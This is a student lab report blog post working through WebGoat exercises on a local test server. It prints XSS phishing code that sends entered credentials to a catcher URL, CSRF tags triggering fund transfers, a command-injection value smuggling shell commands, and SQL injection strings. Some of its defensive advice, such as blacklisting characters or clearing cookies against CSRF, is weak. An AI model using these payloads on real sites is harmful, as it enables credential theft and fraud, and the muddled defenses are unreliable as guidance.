2018-2019-2 网络对抗技术 20165206 Exp 9 Web安全基础

- 2018-2019-2 网络对抗技术 20165206 Exp 9 Web安全基础

- 实验任务

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

- 基础问题回答

(1)SQL注入攻击原理,如何防御
答:
攻击原理:在用户名、密码输入框中输入一些类似',--,#的特殊字符,这些字符提交到后台数据库会与SQL语句拼接,从而实现引号闭合、注释部分SQL语句的目的,构成永真式,进而实现登录、显示信息等目的。
防御:可以在后台控制输入的长度,禁止用户输入例如 -- 、' 这类的特殊符号。

(2)XSS攻击的原理,如何防御
答:
攻击原理:攻击者在Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,诱骗用户或浏览器执行一些不安全操作。
防御:用户在浏览网页时,时刻注意,在填写类似用户名密码等信息时提高警惕。同时,网页编写时,过滤一些特殊字符如 ” < > & 等 ,将其转化为不被浏览器解释执行的字符。

(3)CSRF攻击原理,如何防御
答:
攻击原理:CSRF就是冒名登录。攻击者的目的是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。一旦用户进行了登录,Session就是用户的唯一凭证,攻击者得到Session后,就可以伪装成被害者进入服务器。
防御:定期清理cookie,不让浏览器记住密码,每次都手动输入。

- 实验过程

- WebGoat准备

  • 下载webgoat-container-7.0.1-war-exec.jar文件

  • 在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,实验过程中不能关闭终端。

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,直接用默认用户名密码guest登录即可

- XSS攻击

- Phishing with XSS 跨站脚本钓鱼攻击

  • 在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS
    将下面这段代码输入到Search:输入框中,点击search
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div>   </div></div> </form>   <script> function hack(){  XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); }    </script> <form name="phish"> <br> <br> <HR>   <H2>This feature requires account login:</H2> <br>   <br>Enter Username:<br>   <input type="text" name="user">   <br>Enter Password:<br>   <input type="password" name = "pass"> <br>   <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

结果会出现代码中所指定的黄、橙、灰三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。

  • 在登录框中输入用户名20165206,密码123456,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。

- Stored XSS Attacks 存储型XSS攻击

  • 打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
    在Message框中输入代码,Title为20165206test,并点击submit。
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div>   </div></div> </form>   <script> function hack(){  XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); }    </script> <form name="phish"> <br> <br> <HR>   <H2>This feature requires account login:</H2> <br>   <br>Enter Username:<br>   <input type="text" name="user">   <br>Enter Password:<br>   <input type="password" name = "pass"> <br>   <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
  • 提交后,点击下方新增的链接20165206test。

  • html注入成功,messege部分显示的是三色框,在下方输入用户名20165206,密码123456,点击提交后,成功获取用户名和密码。

- Reflected XSS Attacks 反射型XSS攻击

  • 打开xss的第三个攻击Reflected XSS Attacks

  • 在“Enter your three digit access code:”中输入

<script>alert("20165206test");</script>

成功显示警告框,内容为script脚本指定的内容。

- CSRF攻击

- Cross Site Request Forgery(CSRF)

  • 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)。

  • 查看页面Parameters中的src和menu值,分别为314和900.

  • 在message框中输入

<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />

点击Submit提交。

  • 提交后,在下面中生成以Title命名的消息20165206test。点击该链接,当前页面就会下载这个消息并显示出来,从而达到CSRF攻击的目的。

- CSRF Prompt By-Pass

  • 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
    同攻击4,查看页面Parameters中的src和menu值,分别为330和900.

  • message框中输入代码

<iframe src="attack?Screen=330&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>

在Message List中生成链接"20165206test"。

  • 点击链接,攻击成功:

- SQL注入攻击

- Command Injection 命令注入

  • 选择Injection Flaws中的第一项Command Injection,然后右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"。

  • 点击view,能看到网络端口使用情况和 IP 地址,攻击成功。

- Numeric SQL Injection

  • 选择Injection Flaws中的第二项Numeric SQL Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1。

  • 攻击成功,显示所有城市的天气情况

- String SQL Injection 字符串型注入

  • 选择Injection Flaws中的第四项String SQL Injection,输入查询的用户名hx' or 1=1--。

  • 1=1是恒等式,又是查询条件,这样就能select表里面的所有数据,攻击成功。

- LAB:SQL Injection

  • 选择Injection Flaws中的第五项LAB:SQL Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将密码最大长度maxlength改为100

  • 在密码框输入' or 1=1 --,成功登陆,攻击成功。

- 实践总结与体会

这次实验主要是利用WebGoat工具,进行SQL注入攻击、XSS攻击、CSRF攻击。攻击原理主要是利用一些语句漏洞,通过修改这些语句进行攻击。这次实验中我遇到了许多问题,其中比较一个问题就是安装WebGoat工具后,主目录中没有所需要的攻击列表,后来发现应该是版本不匹配导致的,更换虚拟机后成功显示。这次实验使我对SQL语句等相关知识有了进一步的理解,收获很大。

posted @ 2019-05-23 23:30  brs666  阅读(180)  评论(0编辑  收藏  举报